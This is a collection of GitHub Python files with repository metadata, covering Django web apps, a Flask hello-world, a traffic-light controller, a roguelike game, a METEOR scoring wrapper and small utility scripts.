06f2fe535b7679a7ef763301a6e4ad7a93616866
c01f76dc63f7fdb80656e20cc9ebc4dd63b1a0ca
refs/heads/master
2021-01-20T05:36:28.264260
2017-04-29T18:34:34
2017-04-29T18:34:34
89,517,880
0
0
null
null
null
null
UTF-8
Python
false
false
3,379
py
""" Django settings for AMDB project. Generated by 'django-admin startproject' using Django 1.11. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os # B...
[ "sanskar27jain@gmail.com" ]
sanskar27jain@gmail.com
a1a98084660cc501acd49cdd15981bc58431cd34
88ae634164c891ecbf7d7055b821fe0d71d84b1c
/pyproject/ctpdata/db/workspace/test20151004.py
cb8f9acceb9690359fc819b03a16630b1caeed3a
[]
no_license
fuckfuckfuckfuck/bin
6d13cf25ba4cd3ab9a81ca39ed0d483804aa678b
47dfb24c3b8564a65408affbaa775b04e9de8f5a
refs/heads/master
2021-01-10T11:09:07.838840
2015-12-05T15:06:18
2015-12-05T15:06:18
47,460,286
0
0
null
null
null
null
UTF-8
Python
false
false
303
py
import test20151004polymorphism class nDuck(test20151004polymorphism.Duck): ## inheritance && init def __init__(self): test20151004polymorphism.Duck() print("inited.") ## redefine def quack(self): test20151004polymorphism.Duck.quack(self) print("nDuck quack")
[ "wchongyang@foxmail.com" ]
wchongyang@foxmail.com
4e6436b92bf15308d8bad82a429263914f1b602f
a32e964877786a7c186682ead221f84155f6cf5e
/R-MT/keras/parserTools.py
3bf197ad8e59c554d805d250a50442caf1ca97fc
[]
no_license
likufanele/universalwsd
a1fa1a9c46be61f5257c3e1f0e5eda34b33125e0
135a15e7412e6f206a5ee93a1082b96ca7c88ae2
refs/heads/master
2020-12-20T14:01:52.077356
2020-01-24T23:46:09
2020-01-24T23:46:09
236,101,761
0
0
null
null
null
null
UTF-8
Python
false
false
7,026
py
import numpy as np import re import string from vectorOperations import sumVectors, getVectorModel, mergeVectors, distanciaE, getListVectors def splitOrationsAndPad(key,listsWords,vectorsSet,translator,modelV,size): counterOrations=0 #print(len(listsWords)) sizeLen=15 translator=str.maketrans('','',st...
[ "noreply@github.com" ]
likufanele.noreply@github.com
ca5675e6ff4c7c0059f8b1343a3866ce8ea68269
422cc95ddef1f66f35b9037186d78e3c708b4730
/A1_PS7_INT_143.py
f77e09cb3bab22057098e22ac38c1549ee840ec7
[]
no_license
manojbalaji1/interpreters
4ebe34bd7559b76075eabed27cfc6debd66f5ae6
aed7b228e305a55a9b6094d80b1d69c8990245d8
refs/heads/master
2020-12-09T05:46:47.709018
2020-01-12T17:31:40
2020-01-12T17:31:40
233,211,211
0
1
null
null
null
null
UTF-8
Python
false
false
1,083
py
from Interpreter.interpreters import interPretr open('outputPS7.txt', 'w').close() interp = interPretr() interp.readApplications(inputfile="inputPS7.txt") interp.showAll() # interp.displayCandidates("Hindi") with open("promptsPS7.txt") as promptfile: for line in promptfile: print(line) data = lin...
[ "manojbalaji1@gmail.com" ]
manojbalaji1@gmail.com
0b6e59dc34a33b978dbcf8b8704dd35cdf33c4d7
f97a38640cce46a0fa4f2e4c05590004cde14d61
/projectTS/modeControl/automaticFlexibleTime.py
d5e522fff3913cae6daf005105a5ec1dae1889c4
[]
no_license
nch101/thesis-traffic-signal-control
bb9dcb43836e69fc4cd5954119b58fe74a03b445
b3bd1676fb2ab440b74d6d7a1846bd4ce6cc4c63
refs/heads/master
2023-08-31T11:29:19.415019
2020-08-17T05:07:10
2020-08-17T05:07:10
249,964,030
0
0
null
null
null
null
UTF-8
Python
false
false
1,102
py
# ** automatic control mode ** # * Author: Nguyen Cong Huy * # **************************** # - *- coding: utf- 8 - *- import projectTS.vals as vals def automaticFlexibleTime(): for index in range(0, vals.nTrafficLights): if index%2: setTimeLight(vals.timeGreenFlexibleNS, vals.timeGreenFlexi...
[ "=" ]
=
05a5ef1ddbad0e04df9d97f7d78e59f394d2112c
56f89cdca74e14a1b8abcf8ac0a8ddd3247d58fe
/group20_final/podcast_app/urls.py
7914caf0305d7efc52c438da7b3e81c17f1c31dc
[]
no_license
jack-rg/TweetAlong
8fae6dba0a469fe0611dfba22e135993578953e4
c4bf04c353e39d2ad0ae581b811084c202183895
refs/heads/main
2023-04-04T02:32:50.851358
2020-12-14T20:46:12
2020-12-14T20:46:12
360,310,793
0
0
null
null
null
null
UTF-8
Python
false
false
180
py
from django.urls import path from . import views urlpatterns = [ path('', views.home, name='podcast_app-home'), path('tracks/', views.tracks, name='podcast_app-tracks') ]
[ "seanmed@bu.edu" ]
seanmed@bu.edu
85ffa8e81eb472eac232b29cbb255545922873d2
1f5688a178ef1e21d4e449a0a7a97fc67f5ce218
/venv/Scripts/easy_install-3.8-script.py
a74a204433cf7747ce98c87e7338f4529d085f56
[]
no_license
St4n89/spendings-at-gui
f974cd08fdf520db81c353576069b24a801c7377
895cc2dfe75da5c0620b53510e7c53984a5718da
refs/heads/master
2020-12-23T14:04:26.544239
2020-01-30T09:38:04
2020-01-30T09:38:04
237,174,806
0
0
null
null
null
null
UTF-8
Python
false
false
440
py
#!D:\Python\gui-svetik\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install-3.8' __requires__ = 'setuptools==40.8.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', s...
[ "stas.sirash@gmail.com" ]
stas.sirash@gmail.com
c8c2388aacf9a93e788c79f3183bb7a4304a4f40
c6ee7be1479797788dd9f9d3a29c0e76ea020db8
/apscheduler_yqt/MyTestFile/16celery_rabbitmq/01/test.py
9f8dba3fe0e8b813e291b135506fa9d9d5a7a897
[]
no_license
hikekang/apscheduler_yqt
2966e7231fff1f81c4fa4a75459cf638592aae6a
0d30c2ef721b8ffeba98dca6b2441613b4ed608d
refs/heads/master
2023-08-17T05:19:34.345553
2021-09-26T03:21:11
2021-09-26T03:21:11
406,217,786
0
0
null
null
null
null
UTF-8
Python
false
false
272
py
#!/usr/bin/python3.x # -*- coding=utf-8 -*- """ Time : 2021/8/24 14:24 Author : hike Email : hikehaidong@gmail.com File Name : test.py Description: Software : PyCharm """ from tasks import add result=add.delay(4,4) print(result) print(result.get())
[ "38242754+hikekang@users.noreply.github.com" ]
38242754+hikekang@users.noreply.github.com
ca733c4f0d08db52a07a496051f24168657ab96c
6b3f1b032092be8878251c0e4de79332a43e5772
/qt1.py
a8d36e3e1b365568846fa2af5799088a522f9225
[]
no_license
NanshyVargas/library
8bb1c2c7b14f083c0dcfaffaae8873ff09138916
f9acef61d0c3d0fad67f1c108999140140b4ef2a
refs/heads/master
2022-11-14T17:16:21.178895
2020-07-08T08:17:59
2020-07-08T08:17:59
276,699,791
0
0
null
null
null
null
UTF-8
Python
false
false
3,715
py
import sys import proto1 from PyQt5.QtWidgets import (QWidget, QLabel, QTextEdit, QGridLayout, QApplication, QPushButton, QDesktopWidget) class Example(QWidget): def templateAction(self, userId, bookId): '''Автозаполнение заранее определенными значениями''' self.textEdit2.insertPlainText(str(user...
[ "nanshy@yandex.ru" ]
nanshy@yandex.ru
f5b339362038a0ce066bc2209c1d3c55c647852f
445dafaf2f1341e556d0bcdff11e1b902b562d45
/turtle/__main__.py
087091d67c3b1269a0c814dc0dc2cdb81ba8bea4
[]
no_license
bojinyao/exam-generation
3102911cfcec440ff5fca619d83542561694e77d
1db83a6aabf83f2887912ad698175a4295e21232
refs/heads/master
2021-01-08T13:48:22.585247
2020-04-25T05:39:09
2020-04-25T05:39:09
242,044,420
1
2
null
2020-04-25T05:39:10
2020-02-21T03:19:48
Python
UTF-8
Python
false
false
938
py
import argparse, sys, json from config import default_configuration from classes import * #---------------- program arguments ---------------- def parse_arguments(): parser = argparse.ArgumentParser(description="Speed up exam question") parser.add_argument("-i", "--infile", nargs='?', metavar='', type=argparse...
[ "noreply@github.com" ]
bojinyao.noreply@github.com
aac7077bedabdf788b4d780e379f3b969de0eee9
d28112305d39c043f1c26ebb66954b9ae9c43eee
/accounts/views.py
8e3c0cfee76873f50c333ab1bfadbb0b391049b5
[]
no_license
srkumar10/btre_project
5addd72e5ba9ab1519a9b9b1fa1c6efd8a6e94e0
7f26a559c15f9d004f535c15a57d4f6d9c800053
refs/heads/master
2022-06-24T21:20:25.061830
2020-05-04T02:21:09
2020-05-04T02:21:09
261,059,333
0
0
null
null
null
null
UTF-8
Python
false
false
2,866
py
from django.shortcuts import render, redirect from django.contrib import messages, auth from django.contrib.auth.models import User from contacts.models import Contact def register(request): if request.method == "POST": # Get form values first_name = request.POST['first_name'] last_name = ...
[ "rsunkara@ouc.com" ]
rsunkara@ouc.com
82750c37529a17c849542e16db8487e588de28bf
5edf9131cfe45f8f901aaed62f6528fc3774df3b
/clevros/primitives.py
7825a022aca00f76abeda9520c47a14231aaef90
[]
no_license
hans/clevr-oneshot
a07147ea4b9a17d3006904f07b2e5d93dbfc97e5
e2aecee1718443714a9aad897bdbe973a974f4b9
refs/heads/master
2021-07-10T00:20:04.831270
2019-02-27T18:16:14
2019-02-27T18:26:24
105,565,520
3
0
null
null
null
null
UTF-8
Python
false
false
9,485
py
from frozendict import frozendict import operator class Event(object): def __init__(self): pass def __eq__(self, other): if isinstance(other, Event): return True return False def __hash__(self): return hash(Event) def __getitem__(self, attr): return EventOp(self, getattr, attr) ...
[ "jon@gauthiers.net" ]
jon@gauthiers.net
f7b5dd02dbf094465c47ff7b2ec320345c7b8abc
053ae946aaae8c6e99beb1ed82486cbb0fadd6af
/theory/problog/ex-poisson.py
8c960003d9828526d8f2aebbfe80120f27bdff05
[]
no_license
pasqualedem/Graph-DB-Problog-Linker
250fba3d12c635460d0e5bbe3e51286b4be1432d
e93d63c5dc3b0114c8080b28f1811051bea564e5
refs/heads/master
2022-04-05T05:13:38.600372
2020-02-17T16:53:55
2020-02-17T16:53:55
236,478,525
2
1
null
null
null
null
UTF-8
Python
false
false
671
py
# -*- coding: utf-8 -*- """ Created on Wed Feb 12 17:03:58 2020 @author: PasqualeDeMarinis """ from problog import get_evaluatable model = """ % urnball_poisson.pl :- use_module('posson.py'). num_balls(X) :- findall(N, between(1,3,N), L), poisson_probs(L, 2, Probs), select_weighted(0, Probs, L, X, _)....
[ "pasquale199876@hotmail.it" ]
pasquale199876@hotmail.it
f5f865c9272a8c8739c77dd0d809040085eede11
c0d31ed53b37085ca301c05ad579be90373de9ee
/fly/views.py
b0f9e573f7d2eb2638a8587cc1737fde6e0e955d
[]
no_license
likerberi/simpleDjango
cc34a62be1c1cd3aa7fb67ff1f81298461992347
f95eacd4e276d55a5b754049597ff3f6930a4aed
refs/heads/master
2020-05-28T09:56:50.309017
2019-05-30T06:56:20
2019-05-30T06:56:20
188,963,078
0
0
null
null
null
null
UTF-8
Python
false
false
1,315
py
from django.shortcuts import render from django.http import HttpResponse, Http404, HttpResponseRedirect from .models import Fly, Passenger from django.urls import reverse # Create your views here. def index(request): context = { "flys": Fly.objects.all() } return render(request, "fly/index.html", c...
[ "likerberi97@gmail.com" ]
likerberi97@gmail.com
da48bb5148055e48dab9afb47e713fa76d83c045
906bdc4eb499fa1551278ebef50c7f9b621bbdbe
/24/test_silver.py
31f64d01618746cf8ad610cd75c71d2bcfaae20d
[]
no_license
slovb/advent_of_code_2017
042033047ed1c04f36faea4de747695b2c3e5c6e
5389f79eeb5f880407e44337bec16d5287e3de4c
refs/heads/master
2020-04-09T04:48:56.160875
2017-12-25T12:29:58
2017-12-25T12:29:58
160,037,767
0
0
null
null
null
null
UTF-8
Python
false
false
394
py
import unittest import silver as target class Tester(unittest.TestCase): def test_ex(self): components = [ (0, 2), (2, 2), (2, 3), (3, 4), (3, 5), (0, 1), (10, 1), (9, 10) ] self.assertEqual(targ...
[ "zlowbie@gmail.com" ]
zlowbie@gmail.com
104c925bd6314e637d48b9ae42bec366a68dc578
077c91b9d5cb1a6a724da47067483c622ce64be6
/snapshot_demo_updated_link_failure/interactive_replay_config.py
8829a94407e3072b87c050c553795abd1f1be3a8
[]
no_license
Spencerx/experiments
0edd16398725f6fd9365ddbb1b773942e4878369
aaa98b0f67b0d0c0c826b8a1565916bf97ae3179
refs/heads/master
2020-04-03T10:11:40.671606
2014-06-11T23:55:11
2014-06-11T23:55:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,044
py
from config.experiment_config_lib import ControllerConfig from sts.topology import * from sts.control_flow import InteractiveReplayer from sts.simulation_state import SimulationConfig from sts.input_traces.input_logger import InputLogger simulation_config = SimulationConfig(controller_configs=[ControllerConfig(start_...
[ "cs@cs.berkeley.edu" ]
cs@cs.berkeley.edu
f8aa759652de4937cc1be1d4bf1ccaa8df8e77ee
d4dcdeac84a06abc6e94ccf053c22d9edf83f316
/election/views.py
f5b7d08b89ab333ef75a8bd6a01dddf4f2ad8917
[]
no_license
maliha3/Onlinevotingnew
29b721a8ace5938b488d53dce406d6f5cc8f9a4b
af365e59e9741a7f5e6897710daf6244c4cab86c
refs/heads/master
2023-05-31T02:02:14.604024
2021-06-14T17:53:30
2021-06-14T17:53:30
376,911,647
0
0
null
null
null
null
UTF-8
Python
false
false
10,174
py
import pandas as pd from user import forms from user.models import CanInfo, DummyCitizenInfo from django.shortcuts import redirect, render from django.contrib.auth.decorators import login_required from .models import Election from user.models import DummyCitizenInfo,CanInfo from vote.models import Vote from .fo...
[ "malihazaman@Malihas-MacBook-Pro.local" ]
malihazaman@Malihas-MacBook-Pro.local
37546155301527fa3625423441749a7d2847e9f0
6a89644ca479e1980b88c768bf868a1422fdee8b
/poptimizer/data/adapters/db.py
0535645631c3afb07276e3d0291c9c74ede11c70
[ "Unlicense" ]
permissive
chekanskiy/poptimizer
82e664c2208b54cac63e0c5dac0680ec038da702
e5d0f2c28de25568e4515b63aaad4aa337e2e522
refs/heads/master
2022-12-20T15:09:40.111678
2020-10-06T17:11:49
2020-10-06T17:11:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,381
py
"""Реализации сессий доступа к базе данных.""" import asyncio from typing import Iterable, Optional, Tuple, Union import pandas as pd from motor import motor_asyncio from poptimizer.data.adapters import logger from poptimizer.data.ports import outer # Коллекция для одиночный записей MISC = "misc" def _collection_a...
[ "wlmike@gmail.com" ]
wlmike@gmail.com
a5708d9753024ed899407f0318b9ef2849457e9e
b6c536f0bc006697edb70306f0bb16d8f0d96e72
/test.py
15f6650d857911025e124ef5f61ed41cf74cc671
[]
no_license
StevenOrn/my_first_game
e03e879895ffa8a05402a8fbe8714df2e786f61f
3ea85e0c656a543619fec0a3512df80275f0bdbb
refs/heads/master
2020-03-21T08:26:36.852606
2018-07-02T23:21:35
2018-07-02T23:21:35
138,343,795
0
0
null
null
null
null
UTF-8
Python
false
false
7,130
py
import libtcodpy as libtcod from random import randint import math #actual size of the window SCREEN_WIDTH = 90 SCREEN_HEIGHT = 100 #size of the map MAP_WIDTH = 90 MAP_HEIGHT = 90 LIMIT_FPS = 10 #Game speed #intialize score score = 0 color_dark_wall = libtcod.Color(0, 0, 100) color_dark_ground = libtcod.Col...
[ "stevenorn@aol.com" ]
stevenorn@aol.com
f9fbf68b0154bfbe4fd456acd69ec3818da9b88d
87ed932190c4934cffb04ffb77963cb4d831ca3b
/app.py
83f1758f5dbc480892ccf417a84b5b0749f36a15
[]
no_license
zchase/deployPython
2cab4068f5e5cc4c9fff16a74ea19e775f5461ce
cdef059d0328f2f02524e333c571d3317f974ba9
refs/heads/master
2021-01-10T00:57:39.443858
2015-12-30T21:24:43
2015-12-30T21:24:43
48,819,992
0
0
null
null
null
null
UTF-8
Python
false
false
601
py
#!/usr/bin/env python from flask import Flask import sys import optparse import time app = Flask(__name__) start = int(round(time.time())) @app.route("/") def hello_world(): return "Hello World!" if __name__ == '__main__': parser = optparse.OptionParser(usage="python simpleapp.py -p <port>") parser.ad...
[ "zack@distelli.com" ]
zack@distelli.com
22cb1afffa9f329ebfcbe75c0c93d8c82eaccab7
f13acd0d707ea9ab0d2f2f010717b35adcee142f
/ABC/abc251-abc300/abc291/a/main.py
271121f05c994fc6965d9d50bef5b54640e06764
[ "CC0-1.0", "LicenseRef-scancode-public-domain" ]
permissive
KATO-Hiro/AtCoder
126b9fe89fa3a7cffcbd1c29d42394e7d02fa7c7
bf43320bc1af606bfbd23c610b3432cddd1806b9
refs/heads/master
2023-08-18T20:06:42.876863
2023-08-17T23:45:21
2023-08-17T23:45:21
121,067,516
4
0
CC0-1.0
2023-09-14T21:59:38
2018-02-11T00:32:45
Python
UTF-8
Python
false
false
255
py
# -*- coding: utf-8 -*- def main(): import sys input = sys.stdin.readline s = input().rstrip() for i, si in enumerate(s, 1): if si.isupper(): print(i) exit() if __name__ == "__main__": main()
[ "k.hiro1818@gmail.com" ]
k.hiro1818@gmail.com
f4889ab3192e5b2391525b80f2cd647d5ffb097f
61ef327bd1d5ff6db7595221db6823c947dab42b
/FlatData/ScenarioCharacterAction.py
a9f4a598c4032f027b4141bed04cca067ccf7dac
[]
no_license
Aikenfell/Blue-Archive---Asset-Downloader
88e419686a80b20b57a10a3033c23c80f86d6bf9
92f93ffbdb81a47cef58c61ec82092234eae8eec
refs/heads/main
2023-09-06T03:56:50.998141
2021-11-19T12:41:58
2021-11-19T12:41:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
262
py
# automatically generated by the FlatBuffers compiler, do not modify # namespace: FlatData class ScenarioCharacterAction(object): Idle = 0 Shake = 1 Greeting = 2 FalldownLeft = 3 FalldownRight = 4 Stiff = 5 Hophop = 6 Jump = 7
[ "rkolbe96@gmail.com" ]
rkolbe96@gmail.com
3ca3cfe18c48de8901db82c058c6aa30b28b11fb
62255db1163d1c097c87412f213555fe26c49262
/pangram/pangram.py
0680416ce10b4e2d1d96bde1ff514ad69d156309
[]
no_license
lazhenko/my_projects
6967ed8a2a1ec1b25c3049f5e9acc6b77c77ca91
421661c24bc50975ad5d324df9a3332ea843de95
refs/heads/master
2023-07-07T04:00:11.692611
2021-08-13T19:13:50
2021-08-13T19:13:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
142
py
from string import ascii_lowercase def is_pangram(string): Alphabet = set(ascii_lowercase) return Alphabet.issubset(string.lower())
[ "mailkraivn@gmail.com" ]
mailkraivn@gmail.com
e48fd8b191b8ec5f3399d0223533e0b66640bfc8
e5bc4b33fffb6c9dfccc38ab2b5db4e6535a4b39
/nbclassify_part2.py
5eed626be061733bbfe05b5e895c3540511b36e2
[]
no_license
ashwini1708/NLP-Project-Naive-Bayes-Classifier
ddf002c49e08a7592daec5afb4a08cb76720c876
e8d4872b4a8ea5dc86309fa9464903f4e0780425
refs/heads/master
2021-01-18T03:53:46.342299
2017-03-22T03:22:06
2017-03-22T03:22:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,423
py
import sys import os import json import math from math import log10 record=[] def classify(src): intermediate_output= open("nbmodel.txt", "r", encoding="latin1") for line in intermediate_output: record.append(json.loads(line)) probability=record[0] words=record[1] spam_dic=record[2] h...
[ "noreply@github.com" ]
ashwini1708.noreply@github.com
cb0d0235383af6ed0f9cf485e18c73f882f87d6c
56297e13de0b916468d9474b903961dc033617c1
/Django/python_belt - Copy/python_belt/settings.py
9f7a01b8b056498909a8075223894c0a3dd757de
[]
no_license
faizanrahman/Python-Stack
d36f841eea648df31bbbb4576d1a2aae1a3b0aa6
ccdec31f4fac01da701f61437fdf3614badf8ce9
refs/heads/master
2022-11-08T08:25:54.525633
2019-01-03T03:05:45
2019-01-03T03:05:45
163,916,233
0
0
null
2022-11-01T13:29:45
2019-01-03T03:01:12
Python
UTF-8
Python
false
false
3,130
py
""" Django settings for python_belt project. Generated by 'django-admin startproject' using Django 1.10. For more information on this file, see https://docs.djangoproject.com/en/1.10/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.10/ref/settings/ """ import ...
[ "faizanrahman89@gmail.com" ]
faizanrahman89@gmail.com
a24cc4135e73aa701d1e7b6ffe6394d037b3b69b
49f9f728a0f640a2972cb1c00105941536169b67
/pic/wsgi.py
f416491e871f25797cf3fdf4ab8605952cc4355d
[]
no_license
Captainfeii/my-first-upload
453c2fc56d4d13f5730aedeea4f0f5063f965e33
9e1d95c411375d972e2ea4c16adc3718892bf24f
refs/heads/master
2020-03-23T10:16:11.049963
2018-07-18T12:44:47
2018-07-18T12:44:47
141,434,213
0
0
null
null
null
null
UTF-8
Python
false
false
383
py
""" WSGI config for pic project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETTINGS_...
[ "582752944@qq.com" ]
582752944@qq.com
4507b0a0250c6b95f949cf60bfc101f8efbe17ef
17124c2268d7d7b0e9545a1ddaf293a49fafcf72
/seq2seq/evaluation/meteor/meteor.py
4a9c0696a513d24b74e15736ecb66a7501dbe317
[]
no_license
haxzie-xx/code-to-comment
56fadaf3b1be36daf2450159740cbd7d660fa438
5007d96c0e5ced57dcee7485a200a0e0a2c11e7d
refs/heads/master
2020-04-28T15:22:14.721580
2019-03-13T08:35:06
2019-03-13T08:35:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,077
py
#!/usr/bin/env python # Python wrapper for METEOR implementation, by Xinlei Chen # Acknowledge Michael Denkowski for the generous discussion and help import os import sys import subprocess import threading # Assumes meteor-1.5.jar is in the same directory as meteor.py. Change as needed. METEOR_JAR = 'meteor-1.5.ja...
[ "tjalling_haije@outlook.com" ]
tjalling_haije@outlook.com
3fb6596f25e82ad3306342bc206831a44c1a8f19
16f50a812eca90748e87bfe471e0c05f178337fd
/4to_Semestre/Metodos computacionales/Racket/Actividad 3.4 Final/Examples/example.py
4fb7031bd1d767a5b0850a0aeefe25131ea51227
[]
no_license
SeaWar741/ITC
65f73365762366f56cfbd6d0bc788cd384672d12
5f75716be58ca6e00bcd8dae7546fd19fe37657f
refs/heads/master
2023-02-05T23:25:13.972031
2022-09-29T10:38:32
2022-09-29T10:38:32
205,020,772
4
2
null
2023-01-19T15:28:45
2019-08-28T20:48:35
Jupyter Notebook
UTF-8
Python
false
false
288
py
# Python Program to find the factors of a number # This function computes the factor of the argument passed def print_factors(x ) : print( " The factors of " , x , " are: " ) for i in range( 1 , x + 1 ) : if x % i == 0: print( i ) num = 320 print_factors( num )
[ "juanca741@gmail.com" ]
juanca741@gmail.com
6e643496ecb597de33e522329bf295891b5a62e1
108f12e6a8acd23e89ba5d6972d46647c71a62d2
/ImPloc-revision/model/result.py
4c6bef4331b397389c819604668e999779122cca
[]
no_license
YutLan/CS385Project-1
62e30083c520be5dda758d64dc975f1cad8ed9d5
5e6c7a3b963a398ee2c8e80aa1ef91cea7370f11
refs/heads/master
2022-11-12T03:08:09.324853
2020-06-28T11:00:25
2020-06-28T11:00:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,123
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # merge kfold result import os import pandas as pd def merge_agg(fv="slf"): if fv == 'slf': srcdir = os.path.join("result-paper/agg_slf") elif fv == "cnnfeat": srcdir = os.path.join("result-paper/cnnfeat") else: srcdir = os.path.join(...
[ "curryjam_cg@sjtu.edu.cn" ]
curryjam_cg@sjtu.edu.cn
e7a39938e98fc492d197143c76952b59f8476916
ac1f67d2757c9c75a7d3e2491afde3e17acbc2b6
/crocomire.wsgi
e69a10e933b6c2d964447fe7e5a9a377cde51eab
[]
no_license
tewtal/crocomire
049164c479155e4dd5129e6ac90dde0c66dfce05
db6d26f4c1c3db5cbf82d467662286d43f60dc36
refs/heads/master
2021-01-20T00:58:41.020391
2015-10-21T20:51:28
2015-10-21T20:51:28
44,681,456
1
0
null
null
null
null
UTF-8
Python
false
false
313
wsgi
import sys import os from werkzeug.debug import DebuggedApplication sys.path.insert(0, '/var/www/crocomi.re/') import monitor monitor.start(interval=1.0) monitor.track(os.path.join(os.path.dirname(__file__), 'site.cf')) from crocomire import app #application = DebuggedApplication(app, True) application = app
[ "total@ceres.viskos.org" ]
total@ceres.viskos.org
b559b0f74e82358f594c0ca321b4f0416d12288a
09d6e0e85f57a8fe64b3920263a73c7433568260
/src/controller.py
91cf5c2cef6063eb9d557079c9a18e152f83cb87
[ "MIT" ]
permissive
CHern0g0r/JB2020AudioAnomaiy
0b6240193a9dc2168470858ba9de7762c1aaa032
6467c18e6c6f6768f8d7dc83fd93e8e42bc13368
refs/heads/master
2022-12-12T05:05:45.500479
2020-09-15T23:01:23
2020-09-15T23:01:23
295,376,212
0
0
null
null
null
null
UTF-8
Python
false
false
899
py
from pydub import AudioSegment folder = 'samples/' def crop(audio_file, intervals): song = AudioSegment.from_mp3(folder + audio_file) new_inters = [0] + list(map(lambda x: x * 1000, intervals)) + [-1] segments = [song[new_inters[i]: new_inters[i+1]] for i in range(len(new_inters) - 1)] ...
[ "fyodorchernogor@gmail.com" ]
fyodorchernogor@gmail.com